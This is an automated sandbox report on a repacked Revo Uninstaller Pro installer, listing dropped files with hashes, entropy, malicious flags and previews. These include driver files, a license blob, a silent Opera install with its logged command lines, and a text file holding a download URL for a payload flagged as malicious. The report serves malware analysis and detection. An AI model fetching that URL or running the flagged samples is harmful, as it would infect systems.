..bINIT....@............j..............@....rsrc................l..............@..B.reloc..D............p..............@..B........................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.del1 (copy)

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	4.986959697467434
Encrypted:	false
SSDEEP:	48:uNxfNNQB7y7CTOYMTf/kphtF/iifITJAld2dCOofc0MqFzA:uTfNNQB7yWO7TfMDtVpfINxCOofc32A
MD5:	5187AC55870310AFF60ED802A729A31A
SHA1:	CEA83A2959CFAC57C75DF6BD9618E71FE9F481CA
SHA-256:	084309301CA31FC8384E97B30F0867559FBD20C38772E1FF7573D24BBC1A0833
SHA-512:	70D1C28D87F223ECD93196AEB1C96591095B6A5C41ADE2CF11C08182FE872986206706F7BF2F72F44D16803DCF593249872ADD4724AF13EF7BB328A48C6CDB73
Malicious:	false
Preview:	;;;..;;; Revoflt..;;;..;;;..;;; Copyright (c) 2009, VS Revo Group Ltd...;;;....[Version]..Signature = "$Windows NT$"..Class = "ActivityMonitor" ;This is determined by the work this filter driver does..ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class..Provider = %VSRG%..DriverVer = 12/30/2009,1.0.0.4..CatalogFile = ......[DestinationDirs]..DefaultDestDir = 12..Revoflt.DriverFiles = 12 ;%windir%\system32\drivers....;;..;; Default install sections..;;....[DefaultInstall]..OptionDesc = %ServiceDescription%..CopyFiles = Revoflt.DriverFiles....[DefaultInstall.Services]..AddService = %ServiceName%,,Revoflt.Service....;;..;; Default uninstall sections..;;....[DefaultUninstall]..DelFiles = Revoflt.DriverFiles....[DefaultUninstall.Services]..DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting....;..; Services Section..;....[Revoflt.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	4.986959697467434
Encrypted:	false
SSDEEP:	48:uNxfNNQB7y7CTOYMTf/kphtF/iifITJAld2dCOofc0MqFzA:uTfNNQB7yWO7TfMDtVpfINxCOofc32A
MD5:	5187AC55870310AFF60ED802A729A31A
SHA1:	CEA83A2959CFAC57C75DF6BD9618E71FE9F481CA
SHA-256:	084309301CA31FC8384E97B30F0867559FBD20C38772E1FF7573D24BBC1A0833
SHA-512:	70D1C28D87F223ECD93196AEB1C96591095B6A5C41ADE2CF11C08182FE872986206706F7BF2F72F44D16803DCF593249872ADD4724AF13EF7BB328A48C6CDB73
Malicious:	false
Preview:	;;;..;;; Revoflt..;;;..;;;..;;; Copyright (c) 2009, VS Revo Group Ltd...;;;....[Version]..Signature = "$Windows NT$"..Class = "ActivityMonitor" ;This is determined by the work this filter driver does..ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class..Provider = %VSRG%..DriverVer = 12/30/2009,1.0.0.4..CatalogFile = ......[DestinationDirs]..DefaultDestDir = 12..Revoflt.DriverFiles = 12 ;%windir%\system32\drivers....;;..;; Default install sections..;;....[DefaultInstall]..OptionDesc = %ServiceDescription%..CopyFiles = Revoflt.DriverFiles....[DefaultInstall.Services]..AddService = %ServiceName%,,Revoflt.Service....;;..;; Default uninstall sections..;;....[DefaultUninstall]..DelFiles = Revoflt.DriverFiles....[DefaultUninstall.Services]..DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting....;..; Services Section..;....[Revoflt.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	6.303083119559888
Encrypted:	false
SSDEEP:	768:A1uOPkxgu01UuLjQL1nHSSdW7W0fz1Qp33u43gf:AQqk7HL1nO/Qtrgf
MD5:	EC8E58E6B58B4FCDE77431CDA3A24C0E
SHA1:	EBB474009B2A2FBCE648ADFF4B8B797FCD00C997
SHA-256:	25667717BF4691957F07A6363585E2C7EAF22E5FD7229BF32C91EA59EF4A2EDD
SHA-512:	E2C667EBE97973FF27C1EDF3E45EBF7950BC8D7AAD1126DA25290A2F590B21808654694CBE6A0AD1D3649566EC7645EB6B3379C7D7C0A650D5381A69E9CDADE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................p....k...........................................Rich....................PE..d...:.._.........."......T...2.................@....................................o^....`A...................................................P....................r...$......D...hR..8............................R...............P...............................text....:.......<.................. ..h.rdata..l....P.......@..............@..H.data........`.......L..............@....pdata...............N..............@..HPAGE....G............R.............. ..`INIT.................\.............. ..bINIT....@............j..............@....rsrc................l..............@..B.reloc..D............p..............@..B........................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\rupilogs.rupldb

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3007016, page size 1024, file counter 53475, database pages 19288, 1st free page 14928, free pages 4, cookie 0x5f, schema 1, UTF-8, version-valid-for 53475
Category:	dropped
Size (bytes):	19750912
Entropy (8bit):	5.916143535151713
Encrypted:	false
SSDEEP:	49152:GEKRfz9PgHG9uUkqS/cmsLPGkLgHfC8wlPWz88RlfpwrjsWWv89uwbSzAMZo6h8e:GRfB2upPBxAUg/Jb9R
MD5:	E821132DBECE4D288D3B1B3B68373B3A
SHA1:	DAC86F72E5C2AAEB5EFDFEA06BF9C5DEF980C74E
SHA-256:	E786FA86DB21A4FFE8F78EBF032715390C05D1EDBDB6C90FEF75E0ED3D946CD3
SHA-512:	4701788F4A91F76F3A63843935DF5A8F80535D85FF0F760AF86C21601D73B40F8C4D00A883DC64E50482C201BB7D4F3867A038223593227AC79AA14520F2068E
Malicious:	false
Preview:	SQLite format 3......@ ......KX..:P......._.....................................................-.(.................R.......................................!........tableILogsILogs..CREATE TABLE [ILogs] ([Number] INTEGER PRIMARY KEY NOT NULL UNIQUE, [Name] TEXT NOT NULL, [Publisher] TEXT, [Version] TEXT NOT NULL, [GUID] TEXT NOT NULL UNIQUE, [WVer] TEXT NOT NULL, [WVer64Bits] INTEGER NOT NULL, [RKey] TEXT, [RDN] TEXT, [RUS] TEXT, [RPVer] TEXT)...=...indexsqlite_autoindex_ILogs_2ILogs.....=...indexsqlite_autoindex_ILogs_1ILogs.......Q.5G!..indexsqlite_autoindex_ILogs_bak0_2ILogs_bak0....UG!..indexsqlite_autoindex_ILogs_bak0_1ILogs_bak0.... .!!...tableILogs_bak0ILogs_bak0.CREATE TABLE "ILogs_bak0" ([Number] INTEGER PRIMARY KEY NOT NULL UNIQUE, [Name] TEXT NOT NULL, [Version] TEXT NOT NULL, [GUID] TEXT NOT NULL UNIQUE, [WVer] TEXT NOT NUL...T))._tablecreation_tablecreation_tableC.CREATE TABLE creation_table (tmp INTEGER)X........tableInfoInfo.CREATE TABLE Info (NProgs TEXT, Ver TEXT, D

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10103264
Entropy (8bit):	6.199563892292486
Encrypted:	false
SSDEEP:	196608:TqWbk1lXrMI8h9rGe2DvwfaycAE9kspvCJ6UkXzp91IIH91IL91I0:Tq2OiI8h8rBx91IW91IL91I0
MD5:	216B49B7EB7BE44D7ED7367F3725285F
SHA1:	CF0776ECBC163C738FD43767BEDCC2A67ACEF423
SHA-256:	C6D97857B3B9F26C8E93D7B6E6481F93A16DB75CBF9D1756CB29FBA0FD9E240E
SHA-512:	060FB76D91BEE1B421F133CAE17726A68ADC97DDCE76A67196D10E735E216D032BEE939C905B847C50F29E859DCA43CDF1B19E4AE349E00EFE88147224D665CB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....?Y..................^..L;.......^.......^...@.......................... ..................@...................@i.b.....h..k...0q...1..............5...pi..............................`i.......................h......0i......................text....n^......p^................. ..`.itext..x2....^..4...t^............. ..`.data....-....^.......^.............@....bss.........._..........................idata...k....h..l...._.............@....didata......0i......B`.............@....edata..b....@i......N`.............@..@.tls.........Pi..........................rdata.......`i......P`.............@..@.reloc.......pi......R`.............@..B.rsrc.....1..0q...1...h.............@..@............. ......................@..@................

C:\ProgramData\VS Revo Group\Revo Uninstaller Pro\revouninstallerpro5.lic

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	data
Category:	dropped
Size (bytes):	65794
Entropy (8bit):	7.997450817749907
Encrypted:	true
SSDEEP:	1536:wg8dvQaFp4zqjLCzkCYlnXMEbnxbiHgsWtXTiKE6AXutI0b:6dvPFHLCzYlnXBUg3TibT+5
MD5:	8462A9B69C76A9603A4143D51FBC201E
SHA1:	4473590F93F94F22C340A354516191C3C0BA6532
SHA-256:	FE4BCB4251F77375119A936C80FB36221AF0C5105E840E2E115D47F96CB437C8
SHA-512:	2F02ECDB06760A093F4D8E6F04C97138695B064DB8CB2DCC4AF9B47C829852F38B77BE9425EB2F3E3E36F85DA181C116C829921FA35AE68AFC57C728D5393570
Malicious:	false
Preview:	...h..$...n.y].o~....(...G..\.....%..c..<..`........../p...N.?H.K.......c.1~.K...No.yF...$..u..1z..-....>..1.jT=.....t....m.45`D.).w..d]m..F....s3=..6.#.....F...j.Z..^...:\).......?..f39.$E.F.&....L)..$dQ.F..T..j.p..h@..b..Qd..H.gO.q..>.....WA...[...P...Jf....".....KV.,.,D_I.b,._..r..g....B.I.....F..Dh3...4..Bg..........P.,y....9B.\..).7...v..d:.b...L........ ?._. .>o..@q......K.........\...jv;.......{}....UH..J/.\|..1.g"N.#PRB.c...D..=d.g.........9.....h.%i...-Q55....W...1g.[.=]..<$.4..]7K.Y.T.....q....1...s....N. EC.E.Ov.S..G.YE....g.......U..]...c..<...........2W.'..2.!....AE$@..H........8A.\.H.f.x\.\|o.z.u%9.X...u>7....\'.VX.5=HR.."D~Y...9...r3.u.3...........jL...m`...d..vA...Q.l^.....8=.F.0.l..eg;b.....H.CwjbV3.... N............@.o.m.R..\|n.e.\.......6..._.p.....r..U..Ha......r...)..%.qeg..(o..;...H....L6.-...I.Q..V....b>Z.z.n.0!...O&..#.`..8.......y:..M..S........v..a;E\d.].!.7.....2M.$,...&..lu...)...U..i...P4..8.1..6..k.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Windows\System32\runonce.exe
File Type:	data
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	2.0805221367031055
Encrypted:	false
SSDEEP:	384:AT2ALc5HmO8BW8QUV9iSdvoxnpfcHv9qoCSDxAKKwsrDlwp/lHuA85qcLpl9dvmX:ur
MD5:	6E91F61773A9AC46E649BD5994A87984
SHA1:	7E01D8F46AA036F290C082AAAD6EDF0BB1D59F56
SHA-256:	F129573669E3AB37DF43C29F01CACBDEE81AB585C1E48963469D32E67B5E659D
SHA-512:	953D0AA6D884B37F82CEE91C9455330EC241D02C44FF385A9BBB13488FF3CBEA93B5C613D61579782DB78D13881AF255AD21EDD1C170A017E8F5D56791357222
Malicious:	false
Preview:	. ..............................................................................l...h...]c.@............. ......eJ......F\|..ZJ..Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1.............................................................R.............".g.ZJ..........E.x.p.l.o.r.e.r.S.t.a.r.t.u.p.L.o.g._.R.u.n.O.n.c.e...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.E.x.p.l.o.r.e.r.\.E.x.p.l.o.r.e.r.S.t.a.r.t.u.p.L.o.g._.R.u.n.O.n.c.e...e.t.l...........P.P.l...h......@............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Opera_115.0.5322.77_Autoupdate_x64[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52557824
Entropy (8bit):	7.999863400173674
Encrypted:	true
SSDEEP:	1572864:n7yZY5/4lwimbCtaWcBsUjcNVvA1okyDlnCHqn:W0glpmOIOocHvrkyZJ
MD5:	75272ABD800147A68B0CC4D682B82DA3
SHA1:	8E8257578EC420F8C5E5302E30A1EDDB2501BFD7
SHA-256:	892192155025DFA8BF058D04BC1430AD073F29FD1F00EE3C05F41598D8536109
SHA-512:	1468568A34C4DA057B8D6E0618748B50EAC25BD534BE7C303FB299344E40891FD6EF662791D1E542C858AE91414524845AFAE02D628C9BBEBD75B6BBA5F80CA9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(2S&lS=ulS=ulS=u'+>t`S=u'+8t.S=u..8tAS=u..9t.S=u..>tyS=u'+9tyS=u'+<teS=ulS<u.S=u..5t:S=u...umS=ulS.umS=u..?tmS=uRichlS=u........PE..L...4.if...............'..........................@................................./.&...@..................................R..d....................y&..).......&......................................@............................................text............................... ..`.rdata..............................@..@.data....A...`.......J..............@....rsrc................`..............@..@.reloc...&.......(...j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vkwZzU9B[1].txt

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.036006945330954
Encrypted:	false
SSDEEP:	3:N8MfXFLVt:2ghVt
MD5:	9D1787D69C72AE1531A6EFE6C058EBFA
SHA1:	847875E77AF8048EDF1A8A6D732D48F2A9B5CC96
SHA-256:	8C041E42595D9BF69B3293050B297A4BE644F57162DD362CA9C0E2EC15CE538D
SHA-512:	9A8CA8DFDEF274561C467B50C837C4BCA2A632995CEF8EDB565FA2872D4BD952EFD2EA0BDF32DA252CA0F949704245B8D335F1737B35F4D71ED35ADEFEE8F7C8
Malicious:	false
Preview:	https://mail.repack.me/tsjtmfdm.pkg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OperaSetup[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2227280
Entropy (8bit):	7.916292558024388
Encrypted:	false
SSDEEP:	49152:mVAbw0dQH5x+E1Q9AA06OT9S7+rICzXNagRt532Z8JtS:iAJdi3+ZN06+Nzdn5w8i
MD5:	5A1105F1C25A60B128D45EC03041BF48
SHA1:	DCCC4587FB20170B8014DEB61A7C371FAC15ED01
SHA-256:	C2A58EFE4CDD4CD48A9C2F77CBA4BC0898F0A5953F6065C2D270A8A1DC7A8FCD
SHA-512:	9058164DCD3B802268DC8D5EC916A53976CF17CF6A4D4F5BE9626B91DDAED7AE159E009E90E0FBF0D1E16CD4C00C4D9268FF67D2F5D43037002D91E4C4017D48
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....m...m...m..A....m..A....m...._m.....m.....m..A....m..A....m...m...m....\m....X..m...m0..m.....m..Rich.m..........PE..L.....if...............'..........................@..................................5"...@.................................H...d.......p.............!..+.......1...C...............................C..@...............0............................text............................... ..`.rdata..z...........................@..@.data....K..........................@....rsrc...p...........................@..@.reloc...1.......2..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\features[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1768
Entropy (8bit):	4.387798711970492
Encrypted:	false
SSDEEP:	48:YqRyRrRs2RDtRCRa7jRzRMR9R89R/R5DR3RoRXsRWEIiRTR4RbR8xRSRGjRIjRK1:FCFVDjS49QzqZ5NhMXwWELdc18XiWMK1
MD5:	9F974F37C6D2E65618B43735A39A3222
SHA1:	29664AB40F388E00AFE959EBF9D840BEA0DD59DD
SHA-256:	18894BB2111DCEF31F92F19A3244457C58A14BFC5C04688F3DB803492DA9F706
SHA-512:	D829E225B290ECE8BFA583558D4AD68A7BD0825F78EA5CE8A3FC01F12BC0FCF16F6371082050085461583DF978251422F6556BED78830EFF20C83BC7B9FDE8F9
Malicious:	false
Preview:	{"features":{"01979299c8cd":{"state":"enabled"},"03b8357e5a08":{"state":"enabled"},"06fbbd0b7bf7":{"state":"enabled"},"0f9cf8758bcc":{"state":"disabled"},"1c4dddb65bac":{"state":"enabled"},"1d24dceb937a":{"state":"enabled"},"2114dc8bd72a":{"state":"enabled"},"26f7e2d59ecf":{"state":"enabled"},"278deecb29a1":{"state":"enabled"},"3389f6c15eb9":{"state":"enabled"},"3993848b2bd9":{"state":"enabled"},"3fc0872a857b":{"state":"enabled"},"40db6e644d2c":{"state":"disabled"},"50796754ffc7":{"state":"enabled"},"5448a57d6689":{"state":"disabled"},"54a846ecd4f2":{"state":"enabled"},"56d717ae3ad6":{"state":"enabled"},"5a28d66c82cd":{"state":"enabled"},"5ee708e89d7b":{"state":"disabled"},"603cade21cf7":{"state":"enabled"},"654296fe9d6c":{"state":"enabled"},"6713f3df0bed":{"state":"enabled"},"804beb213cf7":{"state":"enabled"},"818c3ef12d0b":{"state":"enabled","dna_filter":{"required_dna":["64336fb81a04836eb8108d24fbca3aa3682db0a5"],"forbidden_dna":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"]}},"8be49a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\tsjtmfdm[1].pkg

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	419886
Entropy (8bit):	7.320460842483817
Encrypted:	false
SSDEEP:	6144:q/iQb+ckQsH8TDRGKJkSvGUlYG2EY8NqK9XXHJoPNKAZzOndNyLMfjRxXdS:5Qnk3GDYKGcblBY8Y23mZ0dYmV0
MD5:	A868E9C0A97C2EF80602C0F6634913F8
SHA1:	9E3F70A600DDC17D018612B08854F702E24AE5D3
SHA-256:	691DF930404FB3CB974F183C849C4B1EDDC63EC3BCA579EEE24F8A59E702FE11
SHA-512:	611D06A34D007CB4D321400A318BA727B07971916F7207EF7D0D45383B7DC38361EA296904646F9079D9C42D87BD375F500D969BF9AA9C6906472655D84E6EF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'...Rich&...................PE..L....}\|^..................................... ....@..................................D....@.........................@...4...t...<.... ..''...................P...!.....T............................B..@............ ..`...... ....................text............................... ..`.rdata..2.... ......................@..@.data....8..........................@....gfids..............................@..@.rsrc...''... ...(..................@..@.reloc...!...P..."..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	5.333176307128504
Encrypted:	false
SSDEEP:	48:FWSU4Yymp+gs4RIoU99tK8NPZHYsu1iMugeVV/gXnPUyuq1xf:FLHYvvsIfA2KRHKugWqp
MD5:	A3CB5CD774669961BE0AB119D9C772CB
SHA1:	74B0632A2D273BC4D9F4D85C0DDA2029127231D1
SHA-256:	9635016EAA9B3A19CAA23A41D896771EE25704E5C59B998572AE219A8CB2F3D8
SHA-512:	802FDB022D4FAF3EB9CD4F7D61D30BE0AC182EA36A7666A3EE30E12FFA9F5232C3B35BA8F67586261FCAF23039148B15216D69F646F7D0593F5C79B5E2F5CAEC
Malicious:	false
Preview:	@...e.......................T.S.S..............................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412091154091\opera_package

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52557824
Entropy (8bit):	7.999863400173674
Encrypted:	true
SSDEEP:	1572864:n7yZY5/4lwimbCtaWcBsUjcNVvA1okyDlnCHqn:W0glpmOIOocHvrkyZJ
MD5:	75272ABD800147A68B0CC4D682B82DA3
SHA1:	8E8257578EC420F8C5E5302E30A1EDDB2501BFD7
SHA-256:	892192155025DFA8BF058D04BC1430AD073F29FD1F00EE3C05F41598D8536109
SHA-512:	1468568A34C4DA057B8D6E0618748B50EAC25BD534BE7C303FB299344E40891FD6EF662791D1E542C858AE91414524845AFAE02D628C9BBEBD75B6BBA5F80CA9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(2S&lS=ulS=ulS=u'+>t`S=u'+8t.S=u..8tAS=u..9t.S=u..>tyS=u'+9tyS=u'+<teS=ulS<u.S=u..5t:S=u...umS=ulS.umS=u..?tmS=uRichlS=u........PE..L...4.if...............'..........................@................................./.&...@..................................R..d....................y&..).......&......................................@............................................text............................... ..`.rdata..............................@..@.data....A...`.......J..............@....rsrc................`..............@..@.reloc...&.......(...j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5740952
Entropy (8bit):	6.869655224466312
Encrypted:	false
SSDEEP:	98304:Y5hxwD6666666666666666666666666666666x666666666666666fwwwwwwwwwt:H3gRKPR+UIYbL8v515oa7IC
MD5:	F9DA76E8D7DB633AB031EE5AC59BB55E
SHA1:	ACD4E95365DBD1256B8DDAA747C82AD8EF3D85CD
SHA-256:	2A4E429693A6DA362CD89967271831B99C88F0C6F696946E66852969D883233B
SHA-512:	76BBBD271182109E501482A23D136DA0C8A4669664A9B284C7C8249870D1CE47191BEFA69D668719B63225211A4F9DB8B63E3BAB41D5F35C33455B4D18832513
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ng.........."......d....S...................@...........................W.....t.X...@.................................8%..P.........Q..........pW..)....W..6...".......................!.......................'...............................text...;b.......d.................. ..`.rdata...............h..............@..@.data...$5...P.......8..............@....tls.................V..............@....rsrc.....Q.......Q..X..............@..@.reloc...6....W..8...8W.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115408145.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	ASCII text, with very long lines (1613)
Category:	dropped
Size (bytes):	5580
Entropy (8bit):	5.740851370470795
Encrypted:	false
SSDEEP:	96:PX5h//Lht1FAU68jVM8KSTc//ME4ClN10XCN+:vL/ZF88pM8KSg/2ClNIC8
MD5:	ADE9CE7ABFE878A4BC129731634767F0
SHA1:	129A542CC83983CA6C3A93E01C891BB267E7FD3F
SHA-256:	14AF71CA3B2AF49738D9DA4CAE60FE63EF208CE496812F5A0F41A6B22911D175
SHA-512:	2AA0E171CA6B0F570E96AFC18A8BE5C393D4D537893E8BB7F60385800D83848F30EC7C57031FF35A86FD2567A75202594985CEC97F259A7397044F004817DEF5
Malicious:	false
Preview:	[1209/115408.145:INFO:installer_main.cc(475)] Opera installer starting - version 115.0.5322.77 Stable.[1209/115408.145:INFO:installer_main.cc(478)] Command line: "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --silent --allusers=0 --server-tracking-blob=NjAxODRkYTk2NmVjNjFhZDRjZmFkOGU5NDAyOGEwYWNlYzViZGE5ZjVkYTg0YmUwMzJiZDRjZWFjZGQ4ODM0Njp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwidGltZXN0YW1wIjoiMTczMzc2MzI0Mi4yNjIyIiwidXNlcmFnZW50IjoiTlNJU19JbmV0YyAoTW96aWxsYSkiLCJ1dG0iOnsiY2FtcGFpZ24iOiJyMTAiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJEV05MU1QifSwidXVpZCI6ImNkOWY4MWM2LTcyOWEtNGQ5NS1hYzcxLTFlYmJhNzViZmM3YiJ9.[1209/115408.145:INFO:installer_main.cc(500)] Uninstall:0.[1209/115408.145:INFO:installer_main.cc(501)] Silent:1.[1209/115408.145:INFO:installer_main.cc(502)] Run Immediately0.[1209/115408.145:INFO:installer_main.cc(504)]

C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115410771.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe
File Type:	ASCII text, with very long lines (1572)
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	5.6895746648906025
Encrypted:	false
SSDEEP:	48:Gbb4hXTbpxX6QMdLOvadLndYwcVBJTleVnZ/Q5VEb6zClt3WbLf9JbAbOSbNbBb3:fXhM8KSTc//ME4hr6UnoP
MD5:	AEBE96FF2FFA5659A6A20B536895A9A9
SHA1:	3F491204A62A61C38305452F7713D9A7C3880EBC
SHA-256:	BF0A2EA802D96FABA07124F88634095D93E0D222F00DF5217E7E15AF33023A90
SHA-512:	F030425CCC20AB2EFE82991496A0D431C9F1B465CD8CA7A57A3E69BF7C987332B60AB441D2C9E8490447BEB7C71C1E14DBF206A1477745D30140C1A58F615486
Malicious:	false
Preview:	[1209/115410.771:INFO:installer_main.cc(475)] Opera installer starting - version 115.0.5322.77 Stable.[1209/115410.771:INFO:installer_main.cc(478)] Command line: "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob=ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyY

C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Download File

Process:	C:\Users\user\Downloads\OperaSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5740952
Entropy (8bit):	6.869655224466312
Encrypted:	false
SSDEEP:	98304:Y5hxwD6666666666666666666666666666666x666666666666666fwwwwwwwwwt:H3gRKPR+UIYbL8v515oa7IC
MD5:	F9DA76E8D7DB633AB031EE5AC59BB55E
SHA1:	ACD4E95365DBD1256B8DDAA747C82AD8EF3D85CD
SHA-256:	2A4E429693A6DA362CD89967271831B99C88F0C6F696946E66852969D883233B
SHA-512:	76BBBD271182109E501482A23D136DA0C8A4669664A9B284C7C8249870D1CE47191BEFA69D668719B63225211A4F9DB8B63E3BAB41D5F35C33455B4D18832513
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
